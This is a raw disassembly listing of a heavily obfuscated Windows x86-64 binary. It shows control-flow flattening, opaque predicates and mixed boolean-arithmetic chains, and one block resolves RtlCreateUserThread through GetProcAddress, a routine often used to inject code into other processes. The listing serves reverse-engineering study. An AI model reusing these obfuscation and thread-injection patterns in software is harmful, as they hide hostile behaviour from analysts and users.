or eax, 1
mov ebp, eax
not ebp
and edx, 0xdc68c91a
and ecx, 0x239736e5
or ecx, edx
mov edx, ecx
xor edx, 0x16a4
xor ecx, 0xdc68c91b
mov ebx, eax
and ebx, 0xbfb7214a
and ebp, 0x4048deb4
or ebp, ebx
or eax, ecx
and ecx, 0xbfb7214a
and edx, 0x4048deb5
or edx, ecx
xor edx, ebp
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xe3f091d1
and ecx, eax
and eax, 0x1c0f6e2e
or eax, edx
mov edx, eax
xor edx, 0x14064000
xor eax, 0xe3f091d1
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0x8b79ae6e
and edx, 0x74865191
or edx, ebx
or eax, ebp
and ebp, 0x8b79ae6e
and ecx, 0x74865191
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xc07be696
and eax, 0x3f841969
or eax, ecx
mov ecx, eax
xor ecx, 0x3a001968
xor eax, 0x8061a602
and eax, 0x85e5a603
and ecx, 0x7a1a59fc
or ecx, eax
xor ecx, 0x7a1a59fc
sete al
cmp dword [0x14024b6d4], 0xa
setl cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
xor cl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0x341df963
mov ecx, 0x9283f73d
cmovne ebp, ecx
test dl, 1
mov ecx, 0x341df963
jmp 0x14015aeca
cmp ecx, 0x249232e4
je 0x14015bf45
cmp ecx, 0x2625c8dc
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
or edx, 0x12b3c3e7
mov ebx, edx
not ebx
or ebp, 0xed4c3c18
mov ecx, ebp
not ecx
and edx, 0x80179b90
and ebx, 0x6d482408
or ebx, edx
and ebp, 0x80179b90
and ecx, 0x12a04067
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x416ef6b1
and ecx, 0xbe91094e
or ecx, edx
mov edx, ecx
xor edx, 0xac22caa9
mov ebp, edx
or ebp, 1
mov ebx, ebp
not ebx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ecx
not edx
mov edi, ebp
and edi, 0x2c0efce4
and ebx, 0xd3f1031a
or ebx, edi
or ebp, edx
and edx, 0x2c0efce4
and ecx, 0xd3f1031b
or ecx, edx
xor ecx, ebx
not ebp
or ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x8a077c6a
and edx, ebp
not ebp
and ebp, 0xf1de380c
and ecx, 0xe21c7f3
or ecx, ebp
mov ebp, ecx
xor ebp, 0x14042
xor ecx, 0x80063808
or ecx, 0x75f88395
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x5bae9531
and ebp, 0x8001684a
or ebp, edi
or ecx, ebx
and ebx, 0x5bae9531
and edx, 0xa4516ace
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xe2618b55
and ecx, 0x1d9e74aa
or ecx, edx
mov edx, ecx
xor edx, 0x83110040
xor ecx, 0x6866f73f
mov ebp, ecx
and ebp, 0x1cae8eb2
and edx, 0xe351714d
or edx, ebp
xor edx, 0x1cae8eb2
xor ecx, edx
test ecx, edx
setne r8b
sete cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
xor al, cl
xor al, 1
or al, dl
xor al, 1
or r8b, bl
xor cl, bl
and cl, bl
mov edx, r8d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r8b
xor cl, 1
or cl, dl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xb361191
mov ebp, 0xa1d54c70
cmovne eax, ebp
test cl, 1
mov ecx, 0xb361191
cmovne ecx, eax
test dl, 1
jmp 0x14015c0d8
cmp ecx, 0x73975b12
je 0x14015c0ec
cmp ecx, 0x741ad853
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0x80200420
mov ecx, ebp
and ecx, 0x22cb1802
or ecx, edx
xor ecx, 0x22cb1802
mov edx, ebp
xor edx, 0xa2eb1c22
and edx, ebp
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0x1785d69f
and edx, 0xe87a2960
or edx, ecx
mov ecx, edx
xor ecx, 0x48001102
xor edx, 0xb56ec2bc
and edx, 0xb7ffe6fd
and ecx, 0x48001902
or ecx, edx
xor ecx, 0x48001902
and ebx, 0x3f332a60
and ebp, 0xc0ccd59f
or ebp, ebx
xor ebp, 0xc0ccd59f
mov edx, ecx
and edx, ebp
xor ebp, ecx
or ebp, edx
cmp ebp, 0xffffffff
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ebx, ecx
or bl, dl
xor bl, 1
xor cl, dl
not cl
and cl, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
not al
test al, 1
mov eax, 0x5d7f83a9
mov ebp, 0xb61287fd
cmovne eax, ebp
test dl, dl
mov edx, 0x5d7f83a9
cmovne edx, eax
test cl, 1
jmp 0x140158e9c
mov ecx, 0xf9ff704
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0x4ecafdf7
mov edx, edi
and edx, 0xb1350208
or edx, ebp
mov ebp, edx
xor ebp, 0x10340208
xor edx, 0x4ac8f9e4
mov ebx, edi
or ebx, 0xebc9f9e4
and edx, 0xebc9f9e4
and ebp, 0x1436061a
or ebp, edx
and ebx, 0xebc9f9e5
xor ebx, ebp
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0x974a1826
and ebx, 0x68b5e7d9
or ebx, edx
and edi, 0x974a1826
and ecx, 0x68b5e7d9
or ecx, edi
xor ecx, ebx
not ecx
or ecx, ebp
cmp ecx, 0xffffffff
setne r8b
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and r8b, al
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and bl, dl
or bl, r8b
mov edx, ebx
xor dl, 1
or bl, cl
mov r8d, ecx
xor r8b, dl
xor dl, al
xor bl, 1
or bl, dl
mov eax, r8d
xor al, bl
test bl, 1
mov ecx, 0x9524cc95
mov edx, 0x6f400093
cmovne ecx, edx
test r8b, r8b
mov r13d, 0x6f400093
cmovne ecx, edx
not al
test al, 1
mov eax, 0x9524cc95
jmp 0x14015c0d8
mov rcx, qword [rsp + 0x30]
lea rdx, str.RtlCreateUserThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x5ad5f6a8
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov rax, qword [rsp + 0x38]
mov qword [0x14024b0b0], rax
mov ecx, 0xd818c5e0
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, 0x103585ed
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, 0x1c19006d
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov eax, dword [0x14024b6d8]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0xd0ef9f02
and eax, ecx
not ecx
and ecx, 0x90299800
and edx, 0x40c60702
or edx, ecx
xor edx, 0x40c60702
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x98f85379
and eax, 0x6707ac86
or eax, ecx
mov ecx, eax
xor ecx, 0xb7e83384
mov edx, eax
xor edx, 0x40160c31
and edx, 0xf7161cb5
xor eax, 0x96e87c2e
and eax, ecx
mov ebp, ecx
and ebp, 0x8e9e34a
or ebp, edx
mov ecx, ebp
xor ecx, 0x8e9e34a
xor ebp, 0x830218a1
mov edx, ecx
and edx, 0x21004faa
mov ebx, edx
and ebx, eax
xor eax, edx
or eax, ebx
mov edx, eax
not edx
and edx, 0xdeffb054
and eax, 0x21004fab
or eax, edx
and ebp, 0x8b43fbeb
mov edx, ecx
and edx, 0x74bc0414
or edx, ebp
xor edx, 0x8b43fbea
and ecx, 1
or ecx, edx
not ecx
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x5028b6e4
and eax, 0xafd7491b
or eax, ecx
mov ecx, eax
xor ecx, 0x10208204
xor eax, 0xafd7491b
mov edx, eax
and edx, 0xe38d7cea
and ecx, 0x1c728315
or ecx, edx
xor ecx, 0x1c728315
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x14024b6d4], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
xor cl, 1
mov eax, edx
or al, cl
xor cl, dl
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0xd99edeb2
mov ebp, 0xc9de28db
cmovne ecx, ebp
test al, al
mov eax, 0xd99edeb2
cmovne ecx, eax
test dl, dl
jmp 0x14015aecf
mov eax, dword [0x14024b6d8]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
not edx
and ecx, 0xa85a27c0
and edx, 0x57a5d83f
or edx, ecx
mov eax, edx
xor eax, 0xa85a27c0
xor edx, 0x1080c826
mov ecx, eax
and ecx, 0xfffffffe
and edx, 0xb8d8cce6
and eax, 0x47273319
or eax, edx
xor eax, 0x47273318
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xa78f5b37
and eax, 0x5870a4c8
or eax, ecx
mov ebp, eax
xor ebp, 0x10100408
xor eax, 0x20084000
or edx, 0xf1da4fec
mov ecx, edx
not ecx
or eax, 0x202011
and eax, 0x606860d1
and ebp, 0x91920f2c
or ebp, eax
and edx, 0x606860d1
and ecx, 0xe059002
or ecx, edx
xor ecx, ebp
mov eax, ecx
not eax
and eax, 0x9f75a8c9
and ecx, 0x608a5736
or ecx, eax
xor ecx, 0x915018da
setne r10b
sete dl
cmp dword [0x14024b6d4], 9
setg r8b
mov ebx, edx
or bl, r8b
xor bl, 1
xor dl, r8b
mov ecx, edx
not cl
and cl, r8b
mov r9d, ebx
and r9b, cl
xor cl, bl
or cl, r9b
and dl, r8b
xor r10b, r8b
xor dl, 1
xor r10b, 1
mov ebx, edx
xor bl, r10b
or r10b, dl
xor r10b, 1
or r10b, bl
mov eax, r10d
xor al, 1
mov edx, eax
and dl, r10b
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov ebx, edx
xor dl, 1
and dl, cl
or al, cl
xor cl, 1
and bl, cl
or dl, bl
xor cl, r10b
xor al, 1
or al, cl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0xa6107bc0
mov eax, 0x42b7afcb
cmovne ecx, eax
test dl, 1
cmove ecx, eax
test bl, 1
mov eax, 0xa6107bc0
jmp 0x14015c0d8
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov esi, edx
mov ebp, edx
xor ebp, 0xdac5180
and ebp, edx
not edx
mov ebx, edx
and ebx, 0x10c5180
and esi, 0xca00000
or esi, ebx
mov ebx, esi
xor ebx, 0x8000000
xor esi, 0xf35fffff
mov edi, ebp
not edi
mov ecx, esi
and ecx, 0x75a9602e
and ebx, 0x8041180
or ebx, ecx
or esi, edi
and edi, 0x75a9602e
and ebp, 0x8a569fd1
or ebp, edi
xor ebp, ebx
not esi
or esi, ebp
mov ebp, esi
not ebp
and ebp, 0xb0a7b27
and esi, 0xf4f584d8
or esi, ebp
mov ecx, esi
xor ecx, 0x20105140
xor esi, 0x2a00880
and esi, 0xdbe98c99
and ecx, 0x24167366
or ecx, esi
xor ecx, 0x24167366
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xc23a6f8f
and ecx, 0x3dc59070
or ecx, edx
xor ecx, 0x3dc59070
setne cl
sete r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov edx, eax
xor dl, r8b
or cl, al
or al, r8b
xor al, 1
or al, dl
or bl, r8b
mov edx, ebx
xor dl, cl
or bl, cl
xor bl, 1
or bl, dl
mov ecx, ebx
and bl, al
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
and dl, al
and cl, al
or cl, bl
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0x76dfbe2f
mov ebp, 0xb799da62
cmovne ecx, ebp
test dl, dl
mov edx, 0x76dfbe2f
jmp 0x1401592df
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x2d92850c
and ecx, edx
and edx, 0xd26d7af3
or edx, ebp
xor edx, 0xd26d7af3
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
mov esi, edx
not esi
mov ebp, edx
or ebp, 0x460127ae
mov edi, ebp
not edi
mov ebx, esi
or ebx, 0xb9fed851
mov ecx, ebx
not ecx
and ebp, 0x1e675fe7
and edi, 0xa1988010
or edi, ebp
and ebx, 0x1e675fe7
and ecx, 0x40002008
or ecx, ebx
xor ecx, edi
mov ebp, ecx
not ebp
and ebp, 0xaa92ebb3
and ecx, 0x556d144c
or ecx, ebp
mov edi, ecx
xor edi, 0x2880040c
and edx, 0x4263e8a0
mov ebx, esi
and ebx, 0xbd9c175f
or ebx, edx
xor ebx, 0x4263e8a1
and esi, 1
or esi, ebx
mov edx, esi
not edx
and edx, 0xcbd2c8ce
and esi, 0x342d3731
or esi, edx
mov edx, esi
xor edx, 0x20081721
xor ecx, 0x136c33e3
xor esi, 0xcbd2c8ce
mov ebp, ecx
and ebp, 0xd637e850
and edi, 0x29c817af
or edi, ebp
or ecx, esi
and esi, 0xd637e850
and edx, 0x29c817af
or edx, esi
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
xor ebp, 0x307e86f7
and ebp, ecx
or ecx, 0xcf817908
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x24ea7591
and edx, 0x10148266
or edx, edi
or ecx, ebx
and ebx, 0x24ea7591
and ebp, 0xdb158a6e
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x912a953e
and ecx, 0x6ed56ac1
or ecx, edx
xor ecx, 0x5eabec36
sete r9b
setne r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg bl
mov eax, ebx
xor al, cl
and al, bl
mov ebx, eax
xor bl, 1
or al, bl
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, r8b
and al, r9b
or al, dl
mov edx, ecx
or dl, r9b
xor dl, 1
xor cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
or cl, dl
mov eax, ecx
xor al, bl
test cl, cl
mov ecx, 0xde71e7e8
mov edx, 0x144c976e
cmovne ecx, edx
test bl, bl
mov ebp, 0xde71e7e8
cmove ecx, ebp
jmp 0x14015c320
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x96a550a2
and edx, 0x695aaf5d
or edx, ecx
mov ebx, edx
xor ebx, 0x108b04
xor edx, 0x10005000
and edx, 0x794a7459
and ebx, 0x86b58ba6
or ebx, edx
mov ecx, ebx
xor ecx, 0x794a7459
mov edx, ebx
xor edx, 0x86b589a6
and edx, 0x86fd89a6
xor ebx, 0x2bfd05b
and ebx, ecx
and ecx, 0x79027659
or ecx, edx
mov edx, ecx
xor edx, 0x79027659
mov ebp, ecx
xor ebp, 0xfd082da4
and ebp, edx
mov edi, ebp
and edi, ebx
xor ebx, ebp
or ebx, edi
mov ebp, ebx
not ebp
and ebp, 0x840a5bfc
and ebx, 0x7bf5a403
or ebx, ebp
xor ecx, 0x863909a4
and ecx, 0x9e393ded
mov ebp, edx
and ebp, 0x61c6c212
or ebp, ecx
xor ebp, 0x9e393dec
and edx, 1
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x757cc02
and edx, 0xf8a833fd
or edx, ecx
mov ebp, edx
xor ebp, 0xa02284
mov ecx, ebx
not ecx
xor edx, 0x757cc02
mov edi, ecx
and edi, 0xff1cdd7b
and ebx, 0xe32284
or ebx, edi
or ecx, edx
and edx, 0xff1cdd7b
and ebp, 0xe32284
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x765059a6
and ecx, 0x89afa659
or ecx, edx
mov edx, ecx
xor edx, 0x818ca651
xor ecx, 0x600059a2
and ecx, 0x682359aa
and edx, 0x97dca655
or edx, ecx
xor edx, 0x97dca655
setne r10b
sete r9b
cmp eax, 9
setg r8b
cmp eax, 0xa
setl r11b
mov eax, r11d
xor al, r8b
and al, r11b
mov ecx, eax
xor cl, 1
mov ebx, ecx
and bl, al
mov edx, ecx
xor dl, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, dl
or cl, al
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
xor cl, r9b
or r11b, r9b
xor r10b, r8b
mov eax, r11d
xor al, r10b
xor r10b, 1
xor al, 1
or r10b, r11b
xor r10b, 1
or r10b, al
mov eax, r10d
xor al, 1
mov edx, eax
and dl, r10b
xor al, dl
xor dl, 1
or dl, r10b
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ebx, edx
and bl, al
mov r8d, ebx
and r8b, dl
xor bl, dl
or bl, r8b
mov r8d, ebx
xor bl, 1
and bl, cl
or dl, cl
xor cl, 1
and r8b, cl
or bl, r8b
xor al, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, bl
test al, 1
mov eax, 0xadc22316
mov ecx, 0xe050b983
cmovne eax, ecx
test dl, 1
mov ecx, 0xadc22316
jmp 0x14015bb91
mov ecx, 0xa042a7eb
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, dword [0x14024b6d8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x1a52c2f0
mov ebp, eax
and ebp, 0xe5ad3d0e
or ebp, edx
xor ebp, 0xe5ad3d0e
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
mov ebx, ebp
and ebx, edx
xor edx, ebp
or edx, ebx
not edx
and ecx, 0xe72c6d13
and eax, 0x18d392ec
or eax, ecx
xor eax, 0x18d392ec
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x66bb63b0
and eax, 0x99449c4f
or eax, ecx
xor eax, 0x99449c4f
sete al
cmp dword [0x14024b6d4], 0xa
setl dl
mov r8d, edx
xor r8b, al
or dl, al
xor dl, 1
or dl, r8b
mov eax, edx
xor al, 1
mov r9d, r8d
xor r9b, 1
mov ebx, edx
and bl, al
mov ecx, r9d
and cl, r8b
mov r10d, edx
and r10b, bl
xor bl, dl
or bl, r10b
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
mov edx, ebx
xor dl, 1
and dl, cl
xor cl, 1
and cl, bl
or cl, dl
mov edx, eax
xor dl, r8b
or al, r8b
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x9daa8007
cmovne edx, r14d
test al, 1
mov eax, 0x9daa8007
cmovne eax, edx
test cl, 1
cmove eax, edx
jmp 0x14015bf32
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebx, [rdx - 1]
imul ebx, edx
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0xd7593144
mov ecx, ebx
and ecx, 0x28a6ceba
or ecx, edx
xor ecx, 0x28a6ceba
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0x189fae11
and edx, 0xe76051ee
or edx, ecx
mov ecx, edx
xor ecx, 0x8220002c
and ebp, 0xf021384d
and ebx, 0xfdec7b2
or ebx, ebp
mov ebp, ebx
xor ebp, 0x2168420
xor edx, 0x189fae11
xor ebx, 0xf021384d
mov edi, edx
and edi, 0x6dc95bd2
and ecx, 0x9236a42d
or ecx, edi
or edx, ebx
and ebx, 0x6dc95bd2
and ebp, 0x9236a42d
or ebp, ebx
xor ebp, ecx
not edx
or edx, ebp
cmp edx, 0xffffffff
sete r8b
setne bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg dl
mov eax, edx
xor al, bl
or bl, cl
or cl, r8b
xor cl, 1
or cl, al
xor bl, 1
or dl, r8b
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov ebx, edx
xor bl, 1
mov eax, edx
and al, bl
mov r8d, eax
and r8b, dl
xor al, dl
or al, r8b
mov r8d, eax
and r8b, cl
mov edx, ecx
and dl, bl
xor bl, cl
xor cl, 1
xor al, 1
and al, cl
or al, r8b
or bl, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0x78c2f5df
mov edx, 0x29252ccf
cmovne ecx, edx
test bl, 1
mov edx, 0x78c2f5df
cmovne edx, ecx
test al, 1
cmove edx, ecx
jmp 0x14015a76d
mov edx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x5c844f42
and ecx, 0xa37bb0bd
or ecx, edx
mov edx, ecx
not edx
and edx, 0x8066d424
and ecx, 0x7f992bdb
or ecx, edx
mov esi, ecx
xor esi, 0xdce29b66
mov ebp, ecx
xor ebp, 0xd5341355
and ebp, esi
mov edi, esi
or edi, 0xf62977cc
mov ebx, edi
not ebx
mov edx, ebp
not edx
mov eax, edx
and eax, 0x3c3be779
and ebp, 0xc3c41886
or ebp, eax
or edx, edi
and edi, 0x3c3be779
and ebx, 0x1c40802
or ebx, edi
xor ebx, ebp
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0xad60e673
and edx, 0x529f198c
or edx, eax
xor edx, 0xa4b66e41
and esi, 1
xor ecx, 0xdce29b67
or ecx, esi
mov eax, ecx
not eax
and eax, 0xee16793b
and ecx, 0x11e986c4
or ecx, eax
xor ecx, 0x11e986c4
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xc2024802
and ecx, 0x48c0611
or ecx, edx
mov ebp, ecx
xor ebp, 0x840611
xor ecx, 0x69200824
or eax, 0xc68e4e13
mov edx, eax
not edx
and ecx, 0x6d280824
and ebp, 0x82864613
or ebp, ecx
and eax, 0x6d280824
and edx, 0x1051b1c8
or edx, eax
xor edx, ebp
mov eax, edx
not eax
and eax, 0xc8e9cd48
and edx, 0x371632b7
or edx, eax
mov eax, edx
xor eax, 0x5880
xor edx, 0x8468242
and edx, 0xf9dea666
and eax, 0x6215999
or eax, edx
mov ecx, eax
xor ecx, 0x2205191
xor eax, 0x114c0222
and eax, 0x154d0a2a
and ecx, 0xeab2f5d5
or ecx, eax
xor ecx, 0xeab2f5d5
sete al
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl bl
mov edx, ebx
xor dl, al
or bl, al
xor bl, 1
or bl, dl
xor bl, 1
and dl, al
or cl, al
xor dl, 1
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
xor dl, bl
mov eax, edx
not al
and al, bl
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0x6ad3e6b3
mov edx, 0xe6b03ac9
cmovne ecx, edx
test al, al
mov eax, 0x6ad3e6b3
jmp 0x140156442
mov ecx, 0x7679a3c0
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov edx, dword [0x14024b6d8]
mov ecx, dword [0x14024b6d4]
lea eax, [rdx - 1]
imul eax, edx
mov edx, eax
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ebx, eax
xor ebx, 0xfffffffe
and ebx, eax
mov edi, ebp
and edi, ebx
xor ebx, ebp
or ebx, edi
and edx, 0x1fc27e1b
and eax, 0xe03d81e4
or eax, edx
mov edx, eax
xor edx, 0xe03d81e4
xor eax, 0x1fc27e1b
and eax, ebx
not ebx
and edx, ebx
or eax, edx
xor ebx, eax
test ebx, eax
sete r8b
setne r9b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl dl
mov ebx, r9d
or bl, dl
mov ecx, r9d
xor cl, dl
not cl
and cl, dl
xor cl, 1
mov r10d, ebx
xor r10b, cl
or cl, bl
xor cl, 1
or cl, r10b
and dl, r9b
and r8b, al
or r8b, dl
mov edx, eax
xor dl, r9b
or al, r9b
xor al, 1
or al, dl
xor al, 1
mov edx, r8d
and dl, al
xor al, r8b
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
xor al, cl
mov ebx, ecx
xor bl, 1
or bl, dl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0x2858e38b
mov ebp, 0x506411bd
cmovne ecx, ebp
test bl, 1
mov eax, 0x2858e38b
jmp 0x14015a657
mov ecx, 0xcabf1041
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, 0x9e8bd92c
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xeb0d9294
and edx, 0x14f26d6b
or edx, ecx
mov ecx, edx
xor ecx, 0x4d06801
xor edx, 0xcb008284
and edx, 0xdb2287ee
and ecx, 0x24dd7811
or ecx, edx
mov edx, ecx
xor edx, 0xdb2287ee
mov ebp, ecx
xor ebp, 0xdb2287ef
and ebp, edx
xor ecx, 0x24dd7810
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
mov ebp, edx
xor ebp, 0xd0566858
and ebp, edx
not edx
and edx, 0x90100848
and ecx, 0x40466010
or ecx, edx
mov edx, ecx
xor edx, 0x40422010
xor ecx, 0xbfb99fef
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x32355c8c
and edx, 0xc0422050
or edx, edi
or ecx, ebx
and ebx, 0x32355c8c
and ebp, 0xcdcaa373
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x2fa997a7
and ecx, 0xd0566858
or ecx, edx
sete r8b
setne cl
cmp eax, 9
setg r9b
cmp eax, 0xa
setl al
mov edx, ecx
xor r9b, cl
or cl, al
xor cl, 1
xor dl, al
not dl
and dl, al
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, eax
and cl, r8b
xor al, r8b
or al, cl
xor al, 1
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov ecx, eax
xor cl, 1
mov ebx, edx
xor bl, al
and bl, dl
and al, dl
xor dl, 1
and dl, cl
or al, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0xd99edeb2
mov edx, 0xf6b1e5ef
cmovne ecx, edx
test al, 1
mov eax, ecx
cmovne eax, edx
test bl, bl
jmp 0x14014d6f9
mov edx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea edi, [rdx - 1]
imul edi, edx
mov ebp, edi
not ebp
mov edx, edi
and edx, 0xb3ceb03
and ebp, 0xf4c314fc
or ebp, edx
mov esi, ebp
xor esi, 0xf4c314fc
mov ebx, ebp
xor ebx, 0x28e6d2e
and ebx, esi
or edi, 0x9b2862d
mov ecx, edi
not ecx
mov edx, ebx
not edx
mov eax, edx
and eax, 0x8515c8fb
and ebx, 0x7aea3704
or ebx, eax
or edx, edi
and edi, 0x8515c8fb
and ecx, 0x72483100
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xf64d79d3
and edx, 0x9b2862c
or edx, eax
xor ebp, 0x818ca00
and ebp, 0x7c58caf4
mov eax, esi
and eax, 0x83a7350b
or eax, ebp
xor eax, 0x7c58caf5
and esi, 1
or esi, eax
mov eax, esi
not eax
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x6a609d76
and edx, 0x959f6289
or edx, ebp
or ecx, esi
and esi, 0x6a609d76
and eax, 0x959f6289
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x6088f4f
and edx, ecx
not ecx
and ecx, 0x2000d0e
and eax, 0x4088241
or eax, ecx
